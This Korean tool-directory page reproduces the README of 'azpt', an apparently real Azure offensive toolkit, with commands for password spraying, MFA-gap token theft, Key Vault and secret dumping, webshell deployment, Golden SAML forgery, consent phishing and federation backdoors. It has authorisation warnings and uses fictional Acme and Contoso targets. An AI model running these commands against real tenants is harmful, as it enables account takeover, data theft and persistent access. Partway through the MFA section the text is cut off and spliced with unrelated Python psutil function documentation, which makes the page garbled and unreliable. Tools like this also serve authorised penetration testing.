Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
azure-pentesting-suite — Azure 보안 평가를 위한 Go 툴킷: 구독 및 리소스를 열거하고, 잘못된 구성을 감사하며, 공용 Blob 스토리지를 익명으로 공격합니다. | Kitploit
도구/GitHubGitHub/hac01/azure-pentesting-suite
Privilege EscalationReconnaissancePassword AttacksVulnerability AnalysisLateral MovementData ExfiltrationInformation GatheringPost-ExploitationPhishingPenetration TestingCloud SecurityRed Teaming
8217216일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubhac01/azure-pentesting-suite

azure-pentesting-suite

Azure 보안 평가를 위한 Go 툴킷: 구독 및 리소스를 열거하고, 잘못된 구성을 감사하며, 공용 Blob 스토리지를 익명으로 공격합니다.

저장소 보기

azure-pentesting-suite (azpt)

🚧 퍼블릭 베타. azpt는 활발히 개발 중입니다 — 명령, 플래그, 출력 형식은 릴리스 간에 변경될 수 있습니다. 버그 리포트와 피드백은 GitHub 이슈를 통해 환영합니다.

azpt는 승인된 Azure 보안 평가를 위한 Go 툴킷입니다. 두 가지 관점에서 동작합니다:

  • 인증됨 (Azure 자격 증명 보유): 구독과 리소스를 열거하고, 잘못된 구성을 감사합니다.
  • 익명 (자격 증명 없음): 외부 공격자가 하는 방식으로 공용 Blob 스토리지를 공격합니다 — 컨테이너를 나열하고, blob 버전을 열거하며, 라이브 사이트가 더 이상 참조하지 않는 비밀 정보가 담긴 파일을 내려받습니다.

⚠️ 승인된 사용만 허용. 명시적인 서면 허가를 받아 테스트할 수 있는 테넌트, 구독, 스토리지 계정에만 이 도구를 실행하세요. 익명 blob 명령은 인터넷을 통해 제3자 인프라에 접근합니다 — 반드시 계약 범위 내로 한정하세요.

아래 모든 예시는 정적 마케팅 사이트를 acmewebsite (https://acmewebsite.blob.core.windows.net)라는 Azure 스토리지 계정에서 호스팅하는 가상의 Acme Corp을 대상으로 합니다.


문서

전체 문서는 docs/에 있습니다:

  • 심층 가이드 (docs/guides/) — 기능별: 기법이 어떻게 동작하는지, 필요한 정확한 Azure RBAC / Microsoft Graph 권한, 주요 플래그 설명, 예시, OPSEC / 탐지 노트 — 참여 단계별로 구성.
  • 시나리오 워크스루 (docs/guides/scenarios/) — 단계를 넘나드는 명령을 연결한 엔드투엔드 공격 서사 (토큰 → Global Admin, Golden SAML 탈취, PRT 탈취, 동의 피싱 → M365, 관리 ID 측면 이동, 오프라인 디렉터리 헌트, 디바이스 코드 피싱), 각각 OPSEC과 정리 절차 포함.
  • 명령 레퍼런스 (docs/reference/) — 명령별로 자동 생성된 페이지로 모든 플래그 (이름, 축약형, 타입, 기본값, 설명) 포함. azpt gen-docs docs/reference로 재생성; 동일한 정보가 azpt <command> --help로도 출력됩니다.

목차

  • 설치
  • 빠른 시작
  • 인증
  • 명령 레퍼런스
  • 워크스루: 익명 blob 공격
  • 발견 사항
  • 출력 형식
  • 아키텍처
  • 개발
  • 로드맵
  • 라이선스

설치

사전 빌드된 바이너리

최신 릴리스에서 사용 중인 플랫폼용 아카이브를 다운로드하고, 검증한 뒤 압축을 풉니다:```bash

adjust VERSION/OS/ARCH to match the asset you downloaded

tar -xzf azpt_.tar.gz sha256sum -c --ignore-missing SHA256SUMS

root@kitploit:~
바이너리는 정적(`CGO_ENABLED=0`)이며 런타임 의존성이 필요하지 않습니다.
빌드는 linux와 darwin의 amd64 및 arm64용으로 게시됩니다.

Windows 바이너리는 게시되지 않습니다. Windows 전용 헬퍼(`prt extract`,
`adconnect sync-creds`, DPAPI)는 여전히 Windows 호스트에서 `go build -o
azpt.exe .`로 소스에서 빌드할 수 있습니다.

### 소스에서 빌드

Go 1.26+가 필요합니다.```bash
git clone https://github.com/hac01/azure-pentesting-suite.git
cd azure-pentesting-suite
go build -o azpt .

이것은 저장소 루트에 자체 포함된 azpt 바이너리를 생성합니다. 저장소 디렉터리에서 go run . <command>를 통해 빌드 없이 실행할 수도 있습니다.


빠른 시작

익명 blob 명령에는 Azure 로그인이 필요하지 않습니다:```bash

One command: probe Acme's storage, enumerate versions, flag secret files

./azpt blob hunt --account acmewebsite

root@kitploit:~
Azure 자격 증명(`az login`)을 사용하여 내부에서 리소스 플레인(ARM)과 디렉터리(Entra ID / Graph)를 모두 평가합니다:```bash
./azpt enum whoami                 # who am I authenticated as?
./azpt enum subscriptions          # what subscriptions can this principal see?
./azpt audit storage               # misconfigured storage accounts
./azpt enum users                  # dump the Entra ID directory (Graph)

일반적인 체인: blob hunt로 자격 증명을 익명으로 복구하고, 해당 사용자로 로그인한 뒤(az login), enum access로 무엇을 할 수 있는지 확인하고, 접근 가능한 Key Vault를 탈취합니다:```bash ./azpt enum access # token scopes, directory roles, groups, RBAC roles ./azpt enum resources # find Key Vaults (type: vaults) ./azpt vault list --vault ext-contractors # secrets, keys, certs in that vault ./azpt vault dump --vault ext-contractors # read every secret value (the loot)

root@kitploit:~
---

## 인증

익명 `blob` 명령은 인증이 **필요하지 않습니다**. 그 외의 모든 것은 Azure **기본 자격 증명 체인**을 사용하며, 이는 환경 변수, 워크로드 아이덴티티, 관리 ID, Azure CLI(`az login`) 순서로 시도합니다.```bash
az login
./azpt enum subscriptions

service-principal 인증을 플래그나 환경 변수로 명시적으로 강제합니다(범위가 지정된 평가 ID에 유용). 아직 없다면 az ad sp create-for-rbac --name azpt-assessment --role Reader --scopes /subscriptions/<subscription-id>로 하나를 생성할 수 있습니다 — RBAC만으로는 부여되지 않는 Graph 권한을 포함한 전체 안내는 시작하기를 참조하세요:```bash ./azpt --tenant --client-id --client-secret
enum subscriptions

equivalently:

export AZURE_TENANT_ID=... AZURE_CLIENT_ID=... AZURE_CLIENT_SECRET=... ./azpt enum subscriptions

root@kitploit:~
**인증서 기반** 인증(PFX 또는 PEM):```bash
./azpt --tenant <tenant-id> --client-id <app-id> \
       --certificate ./cert.pfx --cert-password 'P@ss' \
       enum subscriptions

--subscription으로 인증된 실행 범위를 특정 구독으로 제한합니다(반복 가능). 기본값은 주체가 접근할 수 있는 모든 구독입니다:```bash ./azpt --subscription 00000000-1111-2222-3333-444444444444 audit storage

root@kitploit:~
---

## 명령 레퍼런스

🧪는 아직 **베타** 단계인 명령을 나타냅니다: 구현되어 사용 가능하지만, 나머지 도구 모음보다 실전 검증이 덜 되어 있습니다 — 거친 부분이 있을 수 있으니, 문제가 발생하면 알려주시기 바랍니다.

| 명령 | 인증 | API | 설명 |
| --- | :---: | --- | --- |
| `recon realm <domain>` | ❌ | Identity | 해당 도메인이 Entra ID로 지원되는가? (Managed/Federated) |
| `recon tenant <domain>` | ❌ | Identity | 테넌트 ID 검색 (OpenID config) |
| `recon outsider <domain>` | ❌ | Identity+DNS | 전체 외부자 정찰: realm, tenant, MX/SPF/DMARC/DKIM/MTA-STS |
| `recon subdomains <base>` | ❌ | DNS | Azure 서비스 서브도메인 열거 (App Service, Storage, Vault, SQL, ...) |
| `recon users` | ❌ | Identity | 사용자 이름이 Entra ID에 존재하는지 검증 |
| `spray` | ❌ | Identity | 사용자 이름 전반에 하나의 비밀번호를 패스워드 스프레이 (승인된 경우에만) |
| `mfa audit` | ❌ | Identity | MFA 적용 격차 탐색 (리소스/클라이언트/User-Agent 전반의 ROPC) |
| `mfa token` | ❌ | Identity | MFA 격차를 통해 액세스 토큰 획득 (User-Agent 자동 시도) |
| `mfa refresh` | ❌ | Identity | 다른 리소스의 토큰을 위해 리프레시 토큰 교환 (FOCI) |
| `mfa devicecode` | ❌ | Identity | 디바이스 코드 피싱 유인 → 피해자 로그인 후 토큰 캡처 |
| `imds token` | ❌ | IMDS | 침해된 리소스에서 관리 ID 토큰 발급 (온박스에서 실행) |
| `imds loot` | ❌ | IMDS | ARM, Graph, Storage, Key Vault용 MI 토큰을 한 번에 획득 |
| `enum ca` | ✅ | Graph | Conditional Access 정책 열거 및 MFA 격차 표시 |
| `enum deployments` | ✅ | ARM | ARM 배포 이력 나열, 시크릿 포함 파라미터 표시 |
| `webapp list/settings/creds` | ✅ | ARM | App Service 인벤토리, 앱 설정, Kudu 게시 자격 증명 |
| `webapp exec` | ✅ | ARM/Kudu | Kudu를 통해 사이트에서 명령 실행 (RCE) |
| `webapp loot` | ✅ | ARM | 모든 앱: 설정 + 연결 문자열 + Kudu 자격 증명, 시크릿 표시 |
| `storage keys` | ✅ | ARM | 스토리지 계정의 액세스 키 나열 |
| `storage sas` | ✅ | ARM | ARM을 통해 계정 SAS 토큰 발급 |
| `vm list` / `vm run` | ✅ | ARM | VM 나열 / RunCommand를 통해 명령 실행 |
| `automation list/loot` | ✅ | ARM | Automation 런북, 변수, 자격 증명 이름 |
| `loot keys` | ✅ | ARM | Cosmos, ACR, Redis, Service Bus, Event Hub, Cognitive, Batch, App Config, SignalR, Maps에서 키/연결 문자열 수집 |
| `loot apim` | ✅ | ARM | API Management 명명된 값 (시크릿 포함) |
| `loot logicapps` / `loot datafactory` | ✅ | ARM | Logic App 정의 / Data Factory 연결된 서비스 |
| `aks list` / `aks kubeconfig` | ✅ | ARM | AKS 클러스터 나열 / cluster-admin kubeconfig 획득 |
| `enum approles` | ✅ | Graph | Graph 앱 역할 부여 열거, 권한 상승 경로 표시 (→ Global Admin) |
| `enum privroles` | ✅ | Graph | 권한 있는 디렉터리 역할 보유자 (활성 + PIM 자격) |
| `enum grants` | ✅ | Graph | OAuth2 위임된 부여 (불법 / 과잉 동의), 위험한 범위 표시 |
| `enum laps` | ✅ | Graph | Entra에서 Windows LAPS 로컬 관리자 비밀번호 검색 |
| `enum bitlocker` | ✅ | Graph | Entra에서 BitLocker 복구 키 검색 |
| `enum dynamicgroups` | ✅ | Graph | 동적 (규칙 기반) 그룹 — 자가 가입 / 권한 상승 표면 |
| `enum guests` / `enum devices` | ✅ | Graph | 게스트 (B2B) 사용자 / 등록된 디바이스 |
| `enum risky` | ✅ | Graph | 오래된/위험한 헌팅: 게스트, 동기화 SP, break-glass, 시크릿이 있는 앱 |
| `enum intune` / `intune list` | ✅ | Graph | Intune 관리 디바이스 나열 |
| `intune script` | ✅ | Graph | 디바이스 그룹에 PowerShell 스크립트 배포 (SYSTEM RCE) |
| `recon tenantinfo` | ❌ | Identity | 심층 외부자 정찰: 테넌트 ID, 페더레이션, Seamless SSO, 온프레미스 동기화 |
| `entra create-app` | ✅ | Graph | 앱 + SP + 시크릿 생성 (제어 가능한 지속성 ID) |
| `entra reset-password` | ✅ | Graph | 사용자 비밀번호 재설정 (계정 탈취) |
| `token decode` | ❌ | — | JWT 클레임 디코딩 (ID, 범위, 역할, wids→역할 이름, 만료) |
| `elevate-access` | ✅ | ARM | Global Admin → 테넌트 루트의 User Access Administrator (Entra→Azure 피벗) |
| `entra add-member/add-owner` | ✅ | Graph | 그룹/앱/SP에 멤버/소유자 추가 (권한 상승 및 지속성) |
| `entra grant` | ✅ | Graph | OAuth2 동의 부여 생성 (불법 동의) |
| `entra invite` / `entra tap` | ✅ | Graph | B2B 게스트 초대 / Temporary Access Pass 생성 (인증 우회) |
| `scan --loot` | ✅ | ARM+Graph | 심층 스캔 수집: Function App 키, AKS kubeconfig, LAPS, BitLocker, APIM, DB 방화벽, 스냅샷, 사용자 지정 역할, 오래된 자격 증명 |
| `scan --bloodhound` | ✅ | — | Entra+ARM 그래프를 BloodHound CE OpenGraph JSON으로 내보내기 |
| `enum adminunits` | ✅ | Graph | 관리 단위 및 범위 지정된 역할 멤버 (AU 범위 관리자 악용) |
| `enum identities` | ✅ | ARM | 관리 ID를 호스트 리소스에 매핑 |
| `enum lighthouse` | ✅ | ARM | Azure Lighthouse 위임 (이 구독을 관리하는 외부 테넌트) |
| `enum pip` | ✅ | ARM | 구독 범위 전반의 공용 IP 주소 나열 |
| `entra update-profile` | ✅ | Graph | 사용자 프로필 속성 업데이트 (동적 그룹 악용) |
| `app add-secret` | ✅ | Graph | 앱 등록에 클라이언트 시크릿 추가 (지속성/권한 상승) |
| `app add-federated` | ✅ | Graph | 페더레이션 ID 자격 증명 추가 (외부 IdP 지속성) |
| `webapp functionkeys` | ✅ | ARM | Function App 호스트 키 (마스터 키 → 관리 API / RCE) |
| `disk list` / `disk export` | ✅ | ARM | 디스크/스냅샷 나열 / 오프라인 VHD 수집을 위한 read-SAS 내보내기 |
| `storage shares` / `storage queues` | ✅ | ARM | Azure Files 공유 / Storage 큐 나열 |
| `storage peek` / `storage files` | ✅ | Storage | 큐 메시지 내용 확인 / 파일 공유 파일 나열 (데이터 플레인) |
| `loot aci` | ✅ | ARM/data | Container Instances 환경 변수 |
| `loot appconfig` 🧪 | ✅ | ARM/data | App Configuration 키-값 |
| `cosmos list/dump/table` | ✅ | ARM+data | Cosmos DB 계정, 데이터베이스, 컨테이너, 문서 읽기, Table API |
| `containerapp loot/exec/steal-token` | ✅ | ARM | Container App 시크릿 + 환경 변수 / 레플리카로 exec / MI 토큰 탈취 |
| `iot list/devices/invoke` | ✅ | ARM+data | IoT Hub 키, 디바이스 ID, 직접 메서드 호출 (디바이스 RCE) |
| `backup vaults/items/restore` | ✅ | ARM | Recovery Services 자격 증명 모음, 백업 항목 + 복구 지점, 디스크 복원 |
| `db list/query` | ✅ | ARM+data | PostgreSQL/MySQL 서버 열거 및 쿼리 (Entra 또는 DB 로그인) |
| `blob containers` | ❌ | Blob | 스토리지 계정의 모든 컨테이너 나열 (서비스 수준 SAS의 경우 --sas 사용) |
| `m365 mail/files/sites` | ✅ | Graph | Graph 토큰으로 사서함, OneDrive, SharePoint 수집 |
| `blob brute` | ❌ | DNS/Blob | 이름으로 스토리지 계정 검색 및 익명 컨테이너 프로브 |
| `recon takeover` | ❌ | DNS | 댕글링 Azure CNAME 표시 (서브도메인 탈취) |
| `audit network` | ✅ | ARM | NSG 인터넷 노출 및 공용 IP 감사 |
| `audit keyvault` | ✅ | ARM | Key Vault 공용 액세스, purge/soft-delete, 광범위한 정책 감사 |
| `audit rbac` | ✅ | ARM | RBAC 위생 감사: Owner 남용, UAA, 위험한 사용자 지정 역할 |
| `enum subscriptions` | ✅ | ARM | 현재 주체에게 표시되는 구독 나열 |
| `enum resources` | ✅ | ARM | 구독 범위 전반의 모든 리소스 나열 (`--fast`는 Resource Graph 사용; `--access`는 각 리소스에 대해 보유한 RBAC 역할 열 추가) |
| `enum kql` | ✅ | ARM | 범위 전반에 걸쳐 임의의 Azure Resource Graph (KQL) 쿼리 실행 |
| `enum users` | ✅ | Graph | Entra ID 디렉터리 사용자 나열 |
| `enum groups` | ✅ | Graph | Entra ID 디렉터리 그룹 나열 |
| `enum service-principals` | ✅ | Graph | 서비스 주체 / 엔터프라이즈 앱 나열 |
| `enum apps` | ✅ | Graph | 앱 등록 나열, 시크릿/인증서 개수 포함 |
| `enum org` | ✅ | Graph | 테넌트/조직 정보 및 확인된 도메인 표시 |
| `enum whoami` | ✅ | Graph | 현재 인증된 사용자 표시 (`/me`) |
| `enum access` | ✅ | ARM+Graph | 유효 액세스 표시: 토큰 범위, 디렉터리 역할, 그룹 멤버십, RBAC 역할 |
| `scan` | ✅ | ARM+Graph | 사용자의 액세스를 BloodHound 스타일 공격 경로 그래프로 매핑 (+ HTML) |
| `audit storage` | ✅ | ARM | 스토리지 계정 감사 (공용 액세스, TLS, 전송, 방화벽) |
| `vault list` | ✅ | KV | Key Vault의 시크릿, 키, 인증서 나열 |
| `vault get --secret <n>` | ✅ | KV | 단일 Key Vault 시크릿 값 읽기 |
| `vault dump` | ✅ | KV | Key Vault의 모든 시크릿 나열 및 읽기 |
| `sql databases` | ✅ | SQL | Azure SQL 서버의 데이터베이스 나열 |
| `sql tables` | ✅ | SQL | 데이터베이스의 테이블 나열 (행 수 포함) |
| `sql query -q <sql>` | ✅ | SQL | 읽기 전용 쿼리 실행 (변경은 `--allow-write` 필요) |
| `sql dump --table <t>` | ✅ | SQL | 테이블에서 행 덤프 |
| `storage containers` | ✅ | Storage | Blob 컨테이너 나열 (인증됨) |
| `storage blobs` | ✅ | Storage | 컨테이너의 Blob 나열 (인증됨) |
| `storage download` | ✅ | Storage | Blob 다운로드 (인증됨) |
| `storage tables` | ✅ | Storage | 계정의 Storage Table 나열 |
| `storage entities` | ✅ | Storage | Storage Table의 행 쿼리/덤프 |
| `blob check <path>` | ❌ | Blob | Blob에 HEAD 요청하여 익명 접근 가능성 테스트 |
| `blob list` | ❌ | Blob | 컨테이너를 익명으로 나열 (`--versions`, `--delimiter /`, `--prefix`) |
| `blob versions` | ❌ | Blob | Blob 버전 열거 — 오래된/대체된/삭제된 파일 노출 |
| `blob download <path>` | ❌ | Blob | Blob 다운로드, 선택적으로 특정 `--version-id` 지정 |
| `blob hunt` | ❌ | Blob | 컨테이너 프로브, 버전 열거, 시크릿 포함 파일 표시 |
| `vm show` | ✅ | ARM | 상세 VM 정보: 사용자 데이터, 공용/사설 IP, 태그, 관리자 사용자 |
| `vm extensions` | ✅ | ARM | VM 확장 나열 (Custom Script Extension 자격 증명 유출) |
| `vm steal-token` | ✅ | ARM | IMDS를 통해 VM에서 관리 ID 토큰 탈취 (RunCommand) |
| `enum synced` | ✅ | Graph | Security Identifier (SID)가 있는 온프레미스 동기화 사용자 나열 |
| `enum powerplatform environments` 🧪 | ✅ | PowerApps | Power Platform 환경 (Dataverse 인스턴스) 나열 |
| `enum powerplatform apps` 🧪 | ✅ | PowerApps | Power Apps 캔버스 애플리케이션 나열 |
| `enum powerplatform tables` 🧪 | ✅ | Dataverse | Dataverse 테이블 (엔터티 정의) 나열 |
| `enum powerplatform query` 🧪 | ✅ | Dataverse | OData를 통해 Dataverse 테이블에서 행 쿼리 |
| `webapp deploy` | ✅ | Kudu | Kudu VFS를 통해 웹 앱에 파일 업로드 (웹셸 배포) |
| `token extract` | ❌ | — | MSAL 토큰 캐시 파일에서 토큰 추출 (리프레시 + 액세스) |
| `m365 teams/search-mail/search-files` | ✅ | Graph | Teams 채널, 메일 검색, SharePoint/OneDrive 검색 |
| `m365 scan` | ✅ | Graph | M365 데이터에서 시크릿, 비밀번호, 자격 증명 스캔 (14개 패턴) |
| `devops projects/serviceconnections/variablegroups/pipelines` | ✅ | DevOps | Azure DevOps 조직 열거: 프로젝트, 서비스 연결 (SP/테넌트/구독 노출), 변수 그룹, 파이프라인 |
| `devops preview` | ✅ | DevOps | 실행 없이 템플릿/변수 확장 후 파이프라인의 최종 YAML 확인 |
| `devops run` | ✅ | DevOps | 실제 파이프라인 실행을 큐에 넣고 빌드 로그 캡처 (파이프라인의 서비스 연결 ID로 실행) |
| `arm deploy-script` | ✅ | ARM | `deploymentScripts`를 통해 일시적 ACI 컨테이너에서 코드 실행 (RCE), 선택적으로 관리 ID 연결 |
| `persistence grant-rbac` | ✅ | ARM | 모든 범위에서 자신 또는 주체에 RBAC 역할 (예: Owner) 할당 (권한 상승/지속성) |
| `persistence attach-identity` | ✅ | ARM | 리소스에 사용자 할당 관리 ID 연결 (`steal-token`을 통한 권한 상승) |
| `aks kubeconfig --user` | ✅ | ARM | Entra 인증 사용자 kubeconfig 가져오기 (로컬 계정이 비활성화된 클러스터에서 작동) |
| `k8s secrets` | ✅ | K8s | 네임스페이스 (또는 전체 클러스터)의 모든 Kubernetes 시크릿 덤프 |
| `k8s serviceaccounts` | ✅ | K8s | 서비스 계정 나열, Azure Workload Identity를 통해 페더레이션된 것 표시 |
| `k8s pods` | ✅ | K8s | Pod 및 각 Pod가 실행되는 서비스 계정 나열 |
| `k8s rbac` | ✅ | K8s | 클러스터/역할 바인딩 열거, cluster-admin/와일드카드/pod-exec/secrets-read 권한 상승 경로 표시 |
| `k8s exec` | ✅ | K8s | Pod에서 명령 실행 (비대화형 RCE, 해당 Pod의 서비스 계정으로) |
| `k8s steal-token` | ✅ | K8s | TokenRequest API를 통해 서비스 계정 토큰 발급 (마운트된 토큰 시크릿 없이 작동) |
| `k8s pivot-azure` | ✅ | K8s→Entra | 워크로드 ID 페더레이션된 SA 토큰을 탈취하여 실제 Azure AD 액세스 토큰으로 교환 |
| `harvest` | ❌ | — | 디스크의 az CLI / Az PowerShell 자격 증명 저장소 수집 (토큰, SP 시크릿; Windows의 DPAPI 보호 저장소) |
| `prt nonce` 🧪 | ❌ | Identity | PRT 쿠키 서명을 위한 서버 nonce (`srv_challenge`) 가져오기 |
| `prt cookie` 🧪 | ❌ | Identity | PRT + 세션 키에서 서명된 `x-ms-RefreshTokenCredential` SSO 쿠키 생성 (KDF v2) |
| `prt auth` 🧪 | ❌ | Identity | 전체 PRT SSO 체인: nonce → 쿠키 → authorize → 액세스 + 리프레시 토큰 |
| `prt extract` 🧪 | ❌ | Identity | 온호스트 (Windows): BrowserCore.exe에서 새 SSO 쿠키를 가져와 교환 (ROADtoken) |
| `device register` | ✅ | DRS | 악성 디바이스 등록 (조인) → 디바이스 인증서/키 — PRT 전제 조건, 디바이스 CA 우회, 지속성 |
| `federation list` | ✅ | Graph | 도메인의 페더레이션 구성 표시 |
| `federation backdoor` | ✅ | Graph | 관리 도메인을 Federated로 변환, 공격자 STS 신뢰 (AADInternals `ConvertTo-AADIntBackdoor`) |
| `federation golden-saml` 🧪 | ❌ | Identity | 모든 사용자에 대해 서명된 SAML 어설션을 위조하고 토큰으로 교환 (Golden SAML) |
| `federation remove` | ✅ | Graph | 페더레이션 구성 삭제 (Managed로 되돌리기 / 정리) |
| `entra phish-app create` 🧪 | ✅ | Graph | 멀티 테넌트 OAuth 동의 피싱 앱 + 동의 URL 생성 (GraphRunner `Invoke-InjectOAuthApp`) |
| `entra phish-app serve` | ❌ | Identity | 동의 인증 코드를 캡처하고 토큰으로 교환하는 로컬 리스너 |
| `m365 rules list/add/delete` | ✅ | Graph | 받은 편지함 전달 규칙 (조용한 사서함 전달 지속성) |
| `scan dump` | ✅ | ARM+Graph | 디렉터리 + 공격 그래프를 오프라인 순수 Go SQLite 데이터베이스로 가져오기 |
| `scan query <view>` | ❌ | — | 덤프에 대해 사전 정의된 분석 뷰 실행 (`admins`, `password-resetters`, `dangerous-approles`, …) |
| `adconnect sync-creds` | ✅ | ADSync SQL | ADSync DB에서 암호화된 AD Connect 동기화 바인드 자격 증명 덤프 (AADInternals `Get-AADIntSyncCredentials`로 복호화) |

`azpt`는 세 가지 Azure API와 통신합니다. **ARM** 명령은 Azure SDK를 사용하고, **Graph** 명령 (Entra ID / 디렉터리 개체)은 동일한 자격 증명의 원시 Graph 토큰을 사용하며, **Blob** 명령은 완전히 익명입니다.

**전역 플래그** (서브커맨드 앞): `--json`, `--jsonl` (NDJSON, 스트리밍/BloodHound 스타일 파이프라인용), `--opsec` (실행 전 탐지 표면 출력), `--subscription <id>` (반복 가능), `--tenant`, `--client-id`, `--client-secret`, `--certificate` (PFX/PEM), `--cert-password`, `--access-token` (반복 가능, 또는 `AZPT_TOKEN`), `--refresh-token` (FOCI 자동 피벗), `--cloud` (`public` | `usgov` | `china` — 소버린 클라우드용 ARM/Graph/로그인 엔드포인트 재지정).

모든 ARM 및 Graph 호출은 `nextLink` 페이지네이션을 따르며 (대규모 테넌트에서 조용한 잘림 없음), `429`/`503`에서 `Retry-After`를 준수하여 재시도합니다.

**탈취한 토큰으로 azpt 구동하기.** 모든 인증된 명령은 `az login` 대신 `--access-token` (또는 `AZPT_TOKEN`)을 통해 미리 획득한 베어러 토큰을 받습니다 — MFA 격차 (`mfa token`), 관리 ID (`imds`), 또는 피싱에서 획득한 토큰 모두 직접 작동합니다. 여러 개 (ARM, Graph, Storage)를 제공하면 각각 대상이 일치하는 API로 라우팅됩니다:```bash
azpt --access-token "$(cat arm.jwt)" enum resources
azpt --access-token "$ARM" --access-token "$STORAGE" scan --deep --html graph.html

익스플로잇 이후의 전형적인 체인으로, 전적으로 azpt로 구성됩니다:```bash

unlock via the MFA gap → ARM token

T=$(azpt mfa token -u [email protected] -P 'Passw0rd!' -r arm --confirm --json | jq -r .accessToken) azpt --access-token "$T" webapp loot # app settings → MSI secret, storage, DB creds

…on the compromised app host, mint the managed-identity token off IMDS:

azpt imds loot -c "$ENTRA_CLIENT_ID" # ARM + Storage tokens for the app's identity

pivot with the storage token:

azpt --access-token "$STORAGE_TOKEN" storage containers --account corpstorage

root@kitploit:~
**`blob` 플래그** (모든 `blob` 하위 명령): `--account <name>` (필수),
`--container <name>` (기본값 `$web`), `--api-version <ver>` (기본값
`2021-08-06`; 버전 열거를 위해서는 `2019-12-12` 이상이어야 함),
`--endpoint-suffix <suffix>` (기본값 `core.windows.net`; 소버린 클라우드의 경우
`core.usgovcloudapi.net` / `core.chinacloudapi.cn`으로 설정).

모든 명령의 전체 플래그 목록을 보려면 `./azpt <command> --help`를 실행하십시오.

---

## 정찰 (도메인만)

`recon` 명령은 참여의 최전선입니다: 도메인 이름만 주어지면 조직이 Entra ID를
사용하는지 판단하고, 테넌트 ID를 찾고, Azure 자산을 매핑하고, 사용자 이름을
검증합니다 — 모두 **인증 없이**.```bash
# Is contoso.com on Entra ID, and what's the tenant ID?
./azpt recon realm contoso.com
./azpt recon tenant contoso.com

# One-shot outsider posture (realm + tenant + mail/DNS security)
./azpt recon outsider contoso.com

# Map the Azure footprint by brute-forcing service subdomains.
# Wildcard services (e.g. Front Door) are auto-detected and skipped.
./azpt recon subdomains contoso --threads 30

# Validate candidate usernames (o365 enumeration; does not lock accounts)
./azpt recon users [email protected] [email protected]
./azpt recon users --user-file names.txt

# Generate username patterns from a name and validate them
./azpt recon users --first jane --last doe --domain contoso.com

패스워드 스프레이 — spray

유효한 사용자 이름과 후보 패스워드(예: 유출 코퍼스에서 얻은 것)가 있으면 이를 테스트하세요. 이는 여러 사용자에 대해 단일 패스워드를 시도하는 것입니다(스프레이이며, 계정을 잠그는 사용자별 무차별 대입이 아님). 하지만 여전히 탐지되기 쉽고 잠금 및 경보를 유발할 수 있습니다.```bash ./azpt spray --user-file valid-users.txt --password 'Spring2026!' --confirm

root@kitploit:~
`--confirm`은 필수입니다 — 이를 생략하면 명령이 실행을 거부합니다. 결과는
valid, valid-but-MFA-required, disabled, locked (중단!), 또는 invalid로
분류됩니다. 비밀번호가 검증된 *이후*에만 발생하는 코드(MFA, expired, CA)는
**유효한 자격 증명**으로 보고됩니다.

> ⚠️ 비밀번호 스프레이는 침입적이고 탐지 가능한 기법입니다. 명시적인 서면
> 테스트 승인을 받은 테넌트에만 실행하십시오.

### MFA 적용 격차 — `mfa`

사용자에 대한 **유효한 자격 증명**이 있지만 Azure Portal이 MFA를 요구하는
경우가 있습니다. 조건부 액세스 정책은 흔히 *리소스*, *클라이언트 앱*,
*디바이스 플랫폼*(Entra가 `User-Agent`에서 도출)을 기준으로 범위가 지정됩니다.
정책이 해당 조건 중 하나에 일치하는 요청에만 MFA를 요구하는 경우, **어느
조건에도** 일치하지 않는 요청 — 예를 들어 특이한 디바이스 플랫폼 User-Agent —
은 **MFA 없이** 토큰을 획득할 수 있습니다. 이는 ROPC 흐름을 사용하는
[FindMeAccess](https://github.com/absolomb/FindMeAccess)와 동일한 기법입니다.```bash
# Sweep resources / clients / device-platform User-Agents for a gap.
./azpt mfa audit -u [email protected] -P 'Passw0rd!' --confirm

4.3.2.2.2. get_network_connections

get_network_connections 함수는 시스템의 네트워크 연결에 대한 정보를 검색합니다.

이 함수는 psutil.net_connections()를 사용하여 네트워크 연결을 가져오고, 각 연결에 대해 다음 정보를 포함하는 딕셔너리를 생성합니다:

  • fd: 소켓 파일 디스크립터
  • family: 주소 패밀리 (예: AF_INET, AF_INET6)
  • type: 소켓 유형 (예: SOCK_STREAM, SOCK_DGRAM)
  • laddr: 로컬 주소 (IP 및 포트)
  • raddr: 원격 주소 (IP 및 포트)
  • status: 연결 상태 (예: ESTABLISHED, LISTEN)
  • pid: 연결을 소유한 프로세스의 PID

이 함수는 연결 딕셔너리 목록을 반환합니다.

root@kitploit:~
def get_network_connections():
    """
    시스템의 네트워크 연결에 대한 정보를 검색합니다.

    반환값:
        list: 각 연결에 대한 정보를 담은 딕셔너리 목록.
    """
    connections = []
    for conn in psutil.net_connections():
        connections.append({
            'fd': conn.fd,
            'family': conn.family,
            'type': conn.type,
            'laddr': conn.laddr,
            'raddr': conn.raddr,
            'status': conn.status,
            'pid': conn.pid
        })
    return connections

4.3.2.2.3. get_network_interfaces

get_network_interfaces 함수는 시스템의 네트워크 인터페이스에 대한 정보를 검색합니다.

이 함수는 psutil.net_if_addrs()를 사용하여 네트워크 인터페이스 주소를 가져오고, 각 인터페이스에 대해 다음 정보를 포함하는 딕셔너리를 생성합니다:

  • name: 인터페이스 이름
  • addresses: 주소 딕셔너리 목록으로, 각 딕셔너리에는 다음이 포함됩니다:
    • family: 주소 패밀리 (예: AF_INET, AF_INET6)
    • address: IP 주소
    • netmask: 넷마스크
    • broadcast: 브로드캐스트 주소

이 함수는 인터페이스 딕셔너리 목록을 반환합니다.

root@kitploit:~
def get_network_interfaces():
    """
    시스템의 네트워크 인터페이스에 대한 정보를 검색합니다.

    반환값:
        list: 각 인터페이스에 대한 정보를 담은 딕셔너리 목록.
    """
    interfaces = []
    for name, addrs in psutil.net_if_addrs().items():
        interface = {'name': name, 'addresses': []}
        for addr in addrs:
            interface['addresses'].append({
                'family': addr.family,
                'address': addr.address,
                'netmask': addr.netmask,
                'broadcast': addr.broadcast
            })
